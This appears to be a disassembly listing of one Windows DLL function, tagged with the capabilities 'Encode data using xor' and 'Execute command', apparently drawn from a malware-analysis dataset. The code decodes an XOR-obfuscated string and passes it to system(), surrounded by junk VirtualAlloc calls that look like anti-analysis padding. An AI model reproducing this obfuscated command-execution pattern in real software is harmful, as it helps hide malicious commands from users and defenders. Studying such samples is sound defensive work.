Function at 0x100021f0
Capabilities:
Encode data using xor
Execute command

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3c
push esi
push 0x73
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x73]
cmp esi, 0xffffffc9
jg 0x1000222d
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10002249
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x15
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x15]
cmp esi, 0xffffffc9
jg 0x1000226c
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10002288
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x70
call fcn.100147b0
add esp, 4
lea esi, [eax + 0x70]
cmp esi, 0xffffffc9
jg 0x100022ab
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x100022c7
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x1001f120]
mov eax, dword [0x1001f138]
xor ecx, ecx
cmp dword [0x10021398], 2
mov dword [ebp - 0x18], eax
mov ax, word [0x1001f13c]
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x14], ax
movq xmm0, qword [0x1001f130]
mov al, byte [0x1001f13e]
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], al
jl 0x10002410
movaps xmm0, xmmword [0x1001f250]
movaps xmm4, xmmword [0x1001f1a0]
movaps xmm3, xmmword [0x1001f2a0]
movaps xmm5, xmmword [0x1001f2b0]
movups xmm6, xmmword [0x1001f200]
movaps xmmword [ebp - 0x10], xmm0
mov edx, dword [ebp - 0x10]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x30]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x30], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x2c]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x2c], xmm2
add ecx, 8
cmp ecx, 0x18
jl 0x10002332
cmp ecx, 0x1f
jge 0x1000243a
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, al
add al, al
add dl, al
mov al, cl
shl dl, 3
sub al, dl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x1f
jl 0x10002410
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0x84
call fcn.100147b0
add esp, 8
lea esi, [eax + 0x84]
cmp esi, 0xffffffc9
jg 0x1000246d
push 4
push 0x1000
push 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, 0xffffff53
jg 0x10002489
push 4
push 0x1000
push 0x99
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret